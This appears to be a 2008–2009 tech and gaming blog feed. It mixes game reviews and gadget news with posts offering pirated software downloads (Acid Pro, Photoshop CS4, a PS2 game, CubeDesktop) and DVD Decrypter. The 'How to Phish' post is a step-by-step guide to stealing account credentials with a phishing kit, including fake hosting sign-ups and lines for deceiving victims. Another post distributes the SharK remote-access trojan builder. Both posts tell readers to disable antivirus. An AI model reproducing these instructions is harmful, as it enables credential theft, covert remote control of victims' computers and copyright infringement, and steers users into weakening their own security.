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Alliance of Valiant Arms: REVIEWED

noreply@blogger.com (The Gadgets Express Team) — Mon, 12 Jan 2009 17:30:00 +0000

While browsing around on Nicovideo, there was an advertisement in the corner of the screen that caught my eye. It was for a game. Not the usual Mech Quest or Conquer ads, but this one was for an MMOFPS, one supposedly better than the legendary Counter-Strike. I clicked on it and was taken to the website (http://www.avaonline.jp/). With a little help from google translator, I managed to get through the Japanese sign up process so I could download and install the game.

As soon as I ran it, I was amazed by the realism of the graphics. I could see why the said it was better than Counter-Strike. The gameplay is smooth and exciting, and the audio is excellent quality. The player can either be on the side of the EU or the Russians, referred to as the NRF in the game.

There are four game modes in total. Annihilation, which is basically a team deathmatch. Demolition, where the EU team must plant a bomb and the NRF must prevent them from doing so. Escort, where the EU must guide a tank from one side of the map to the other, whilst the NRF attempt to stop it with rocket launchers. And finally Transport, where the EU must locate a nuclear suitcase and bring it back to the spawn point before time runs out.

An element of this game which sets it apart from others in the genre is the ability to buy a gun permanently instead of in a set time before a round. Players can either rent a gun which is thrown away after a certain amount of uses, of buy one permanently which an be repaired. There are also many ways to customise the guns ranging from silencers to scopes.

With all of that said, I still haven't mentioned the best part... It's absolutely free to play. All you need to do is make an account. This game easily gets 5/5 from me.

If you play the game, make sure to look out for me, my username is Tazz93.

BitDefender Anti-Virus 2009 Reviewed

noreply@blogger.com (The Gadgets Express Team) — Thu, 01 Jan 2009 10:43:00 +0000

I was searching around on Google for some Anti-Virus program recommendations, when i read on TopTenReviews.com, that BitDefender was amazing, rated 5/5 and even cost less then most of the competition. So I thought I might as well give it a try. What's the worst that could happen?

Well, the worst that could happen was that my PC was overloaded with Trojans and various other types of malware within a few days of installing it, and to add to that, the virus scan was so slow that i had to leave my computer on for 3 days just for it to complete and tell me that my system was clean. Just to make sure, I uninstalled BitDefender and installed AVG Pro 8.0, with quite a lot of trouble since BitDefender decided to change the permissions in the registry, and did a full system scan. You wont be surprised to hear, it found about 50 viruses and was finished within 4 hours.

I rate BitDefender Anti-Virus 2009: 1/5.

Merry Christams From Gadgets Express

noreply@blogger.com (The Gadgets Express Team) — Thu, 25 Dec 2008 09:46:00 +0000

We here at Gadgets Express wish you all the best during the festive season.

Sony Acid Pro v7.0 [FREE DOWNLOAD]

noreply@blogger.com (The Gadgets Express Team) — Sun, 16 Nov 2008 19:41:00 +0000

Link: http://rapidshare.com/files/164402536/Sony.Acid.Pro.v7.0.0.502.REPACK-NoPE.rar

Follow the included instructions to install.

Adobe Photoshop CS4 (Portable)

noreply@blogger.com (Kush) — Mon, 10 Nov 2008 19:08:00 +0000

Link: Adobe Photoshop CS4 (Portable)

No keygens needed, just click, extract and use.

Windows 7 Screenshots

noreply@blogger.com (The Gadgets Express Team) — Thu, 30 Oct 2008 12:13:00 +0000

Here are some rare shots of the upcoming OS, Microsoft Windows 7.

Gantz: The Game PS2 (FREE DOWNLOAD)

noreply@blogger.com (The Gadgets Express Team) — Tue, 28 Oct 2008 22:10:00 +0000

Download: http://www.megaupload.com/?d=7P56S4OX

Instructions: UnRAR and burn to DVD.

Requires a PS2 with either a mod chip or Swap Magic.

Pro Evolution Soccer 09 vs FIFA 09

noreply@blogger.com (The Gadgets Express Team) — Mon, 27 Oct 2008 13:19:00 +0000

I haven't posted anything in a while, I've been really busy lately and I apologise for the delay. I thought a good way to make my "comeback" would be to do the second annual Pro versus FIFA battle. So let's get started:

Not many noticeable changes this year for FIFA. EA seem to have concentrated on the little, irritating bugs and have ironed those out nicely. Things like more realistic passing and shooting will go down well with FIFA faithfuls.

Konami's answer to FIFA has seen two major changes. The first being the addition of the UEFA Champion's League, which will be warmly welcomed by Pro Evo fans, since the series has always lacked any of official competitions. The second being the new "Become A Legend" mode. FIFA fans were angry when they first heard about this, as they labeled it a clone of EA's "Be A Pro" feature. However, Konami were the first to allow the player to control a single person during a match, but it is only now that they developed it further and made it into a separate play mode.

Just like last year, here are the comparisons.

Realism: Pro Evo still seems to lack some of the "next-gen" glamour, and that is why more and more are switching to FIFA. In terms of player models though, Pro Evo is in a league of it's own. For me, no matter how nice the stadium looks or how detailed the grass is, the players get priority. So I'll put that as a slender win for Konami.

Sound: FIFA is still miles ahead in this category. With it's licenced soundtrack and great commentators that change what they say depending on the situation, such as, what teams are playing or who has the ball, it's a clear win for EA. While Pro Evo's soundtrack has drastically improved since last year, it is still disappointing. In addition to that, the commentators are so vague in what they are saying, that you might as well turn them off.

'Career Mode': Konami are still ahead in this category because the Master league is simply more fun than domestic leagues, but domestic leagues are still an option for those who want more realism. The Champion's League is also a nice addition.

Gameplay: I was quite disappointed when I saw how much Konami slowed down the gameplay since last year. Fast-paced matches have always been the essence of the series. But even with this change that was supposedly applied to make the game more realistic. it is still more fun than FIFA's. The amount of time it takes to perform actions on FIFA is very frustrating, and takes away some of the fun of playing with friends or online. Speaking of online, slow loading times and lots of lag are the reasons Pro Evo doesn't win this category this year. While fast gameplay is more fun, what good is it if the game lags? This year, it's a tie.

Overall Impression: This year's battle doesn't have a winner but instead, a question. Do you prefer realism of fun? Both games are good but also very different. It's like comparing Halo to Unreal Tournament. Ultimately, i dont think there will be many people switching sides this year, people will tend to stick with what they already prefer, simply because neither one has gotten significantly better or worse since last year.

How to Phish (Tutorial)

noreply@blogger.com (The Gadgets Express Team) — Sun, 24 Aug 2008 17:26:00 +0000

During all the commotion about Soulja Boy being hacked, lots of people have asked me how the hacker got the password in the first place.

Now, there are many ways he could have done it but the most probable seems to be phishing. The guide that follows is for educational purposes only and I cannot be held accountable for your actions.

This isn't 100% foolproof, and it helps if the person you're trying to hack is kind of stupid. But you'd be surprised how many people fall for it.

Step 1: Download Fishing Bait 2.5 (http://rapidshare.com/files/139803449/Fishing_Bait_2.5_-_www.SilentHex.info.rar)

Step 2: Run the program and extract the files. If you antivirus detects it, turn of the antivirus, the program is NOT harmful to your computer.

Step 3: It should be self-explanatory from now on but in case you get stuck: You take the source from the website you want to phish. You paste the code into Fishing Bait. Where it says "http://www.davedadon.co.nr" and "log.txt", you change the first one to where you want the person to be redirected to after they get phished and leave the second one.

Step 4: Click "Generate" and then "Save HTML". Leave the names of the files alone or it gets confusing.

Step 5: Sign up for an account at 110mb.com using fake credentials.

Step 6: Once registered go to your file manager and delete the file that's there by default. Then upload the files (index.html, log.txt and login.php).

When that's finished, all you have to do is send your victim a link to "index.html" and when they log in (if they fall for it), their details will appear in log.txt.

P.S. If they question why its not "myspace.com/..." then make up an excuse like, "I'm hosting my page on this new site I found." Or something like that.

Happy Hacking :)

Soulja Boy's Myspace Hacked!

noreply@blogger.com (The Gadgets Express Team) — Sun, 24 Aug 2008 17:20:00 +0000

This platinum selling artist Soulja Boy had his myspace page hacked and 'redecorated' by two unknown individuals this morning. The hackers, however, did not alter the page but instead gave the password out to the public allowing anyone to change the page how they liked.

At the time of posting he has had 122915 views and 422056 comments. Many people claimed to have done it, but the true hacker is still unknown.

Cube Desktop Pro v1.3.1

noreply@blogger.com (The Gadgets Express Team) — Tue, 12 Aug 2008 10:44:00 +0000

Download Link: CubeDesktop.Pro.v1.3.1.Multilingual.rar

Archive password: www.gadgetsexpress.co.uk

Official Website: http://www.cubedesktop.com/

New Mortal Kombat vs DC Universe trailer!

noreply@blogger.com (The Gadgets Express Team) — Sat, 26 Jul 2008 10:19:00 +0000

This video gives a strong hint that fatalities, even if toned down, will be included in the game.

10 years until Unreal Engine 4?

noreply@blogger.com (The Gadgets Express Team) — Fri, 25 Jul 2008 10:05:00 +0000

According to the president of Epic Games, Mike Capps, the fourth Unreal Engine is currently being developed and will be available for the next generation of consoles (as in the PS4 and the follow up to the Xbox 360).

Capps said: "We've got Unreal [Engine] 4 in production right now... it's going to be in the next console generation - our rough guess is 2012 [to] 2018.

"Version 4 will exclusively target the next console generation, Microsoft's successor for the Xbox 360, Sony's successor for the Playstation 3 - and if Nintendo ships a machine with similar hardware specs, then that also. PCs will follow after that."

This is a real blow to Unreal Tournament fans as UT4 is scheduled to be released along side the new engine, which means a 4-10 year wait.

Unreal Tournament 3: Reviewed

noreply@blogger.com (The Gadgets Express Team) — Sat, 19 Jul 2008 08:38:00 +0000

It seems like Epic Games still have a few trick up their sleeves. Just when you thought that UT2004 was perfect, UT3 is released. This game shows the true power of next-gen consoles with beautiful graphics and fast-paced gameplay.

The series has taken most of it's traditional weapons and vehicles and thrown them into an HD frag-fest.

The only thing that might draw complaints is the lack of a substantial story mode, instead, it consists of Dragon Ball Z-style random fights. But anyone who wants an amizing storyline should look elsewhere. This game is all about the online and split-screen (Xbox 360 Only) multiplayer modes.

Backup your disks with DVD Decrypter!

noreply@blogger.com (The Gadgets Express Team) — Sat, 05 Jul 2008 09:59:00 +0000

Anyone who doesn't have this software deserves my respect. I have no idea how you survived without it. DVD Decrypter has to be one of the most useful programs out there.

Combine this with Swap Magic and you can have almost any PS2 game you want. For free!

The fun doesn't stop there, not only can you rip .iso files from any disk, you can also use it for burning files. And a simple yet effective interface makes it easy for anyone to use.

Download: http://rapidshare.com/files/127274655/DVD_Decrypter.exe

Saints Row 2. The next mediocre GTA clone?

noreply@blogger.com (The Gadgets Express Team) — Sun, 22 Jun 2008 09:35:00 +0000

There have been a lot of complaints recently both from Saints Row fans and GTA fans about the similarities between the two games. And it surprises me how unoriginal some producers can be. Saints Row wasn't the first to jump on the Grand Theft Auto bandwagon and it definitely won't be the last. But the question is, does it have enough original features to lure gamers away from the much-loved GTA franchise?

The general gamer response to that question would be no. According to them it's just another mindless shoot-em-up that doesn't have the quality of GTA. Some might be amused for a first few hours of running around shooting civilians and yelling insults at police officers, but it quickly gets repetitive. Murdering just doesn't bring the same amount of satisfaction as it does in Grand Theft Auto.

It's not the worst clone, but it definately can't stand up to the original.

New iPhone 3G to cost only $200!

noreply@blogger.com (The Gadgets Express Team) — Tue, 10 Jun 2008 17:37:00 +0000

The next generation iPhone, set to be released in July, will cost a fraction of the price of it's older brother according to Apple spokespeople.

"Just one year after launching the iPhone, we're launching the new iPhone 3G that is twice as fast at half the price," said Apple CEO Steve Jobs.

The new model will feature an on board GPS system as well as support for third-party software made by the iPhone SDK.

Blu-ray still has a long way to go.

noreply@blogger.com (The Gadgets Express Team) — Mon, 02 Jun 2008 07:46:00 +0000

Judging by the prices of the high-tech blu ray players (some reching the $600 mark), it will be a while before they overtake the more affordable DVD.

Although the quality of the Blu-ray disks is outstanding, there just aren't enough people who can afford to invest in it.

With one of the cheapest Blu-ray players costing around $250, the $50 DVD player still has an advantage.

An apology for the lack of posts.

noreply@blogger.com (The Gadgets Express Team) — Sat, 31 May 2008 13:13:00 +0000

I would like to issue an apology for the recent lack of posts.

I have been unable to make new articles due to my hard drive being formated.

I have contacted my computer's manufacturer and will be receiving a recovery disk in the next few days.

SharK 3.1 RARE!! (Free Download)

noreply@blogger.com (The Gadgets Express Team) — Mon, 26 May 2008 19:11:00 +0000

This is an extremely hard-to-find RAT (remote administration tool).

It is so hard to acquire because the company that produced it has discontinued all support for it. Making genuine downloads few and far between.

However, I have found a copy and I am giving it away for free.

Before you install it, please not that some anti-virus programs detect this as a "trojan dropper" because it can create malware that is used to control computers remotely. Ignore this warning (you may have to disable your AV) because it will not affect your computer in anyway.

SharK 3.1: http://www.megaupload.com/?d=7D9CD6ZE

Note: Please be responsible as any actions you take with this program do not affect me in any way.

Guitar Hero to get drums, a bass guitar and microphones?

noreply@blogger.com (The Gadgets Express Team) — Sat, 24 May 2008 08:20:00 +0000

It seems to be Activisions latest move to draw fans away from MTV's "Rock Band". The additions will allow two groups of four compete online or even compose their own music offline.

This will put MTV under pressure because there a re fears the if they do the same, it will be deemed a clone of "Guitar Hero".

US Government makes arrangements to lower contract fees

noreply@blogger.com (The Gadgets Express Team) — Wed, 21 May 2008 15:37:00 +0000

Lowering the average fee of around $175 for quitting a mobile contract early is currently being contemplated by the United States government.

The proposal is to force providers to allow customers to cancel their contracts without charge within 30 days of purchase and/or 10 days after receiving their first bill.

New Shoutbox, Requests Added!

noreply@blogger.com (The Gadgets Express Team) — Sun, 18 May 2008 10:39:00 +0000

I have updated the shoutbox to the new host; Chatango.

The main reason for this change is the 1 on 1 chat feature that it has. I will be taking advantage of this and using it as a way to request an article or a download. So if there's some software that you can't get your hands on or an interesting subject you want me to write about, then just send me a message.

To place a request, just click my picture. It should be self explanatory from then on.

I will try and respond to as many requests as possible.

Touch Diamond. Will it live up to the iPhone

noreply@blogger.com (The Gadgets Express Team) — Tue, 13 May 2008 18:57:00 +0000

There has been alot of comotion about which phone will be the iPhones next rival. Will it be the new Blackberry? Or maybe some fancy all-in-one phone? Well it seems like the new center of attention is the HTC Touch Diamond.

It features a 2.8-inch 680×480 VGA touch-screen, as well as touch-sensitive controls below the screen.

HTC claim that the phone will make web browsing as easy as making calls.

It runs on Windows Mobile 6.1 which brings back the good old Windows vs Apple competition as an added bonus.

Forgetting your coupons at home will be a thing of the past!

noreply@blogger.com (The Gadgets Express Team) — Fri, 09 May 2008 18:12:00 +0000

Cell phone users in South Korea have been exposed to the new technology of E-Coupons. Virtual bar-codes that can be presented where applicable to get a discount on a product.

Ryu Mina, a spokeswoman for mobile company SK Telecom said that it will be revolutionary because "people may forget their coupons but always carry their cell phones".

Service provider actually began sending these coupon-messages about six months ago but users saw them as spam and deleted them.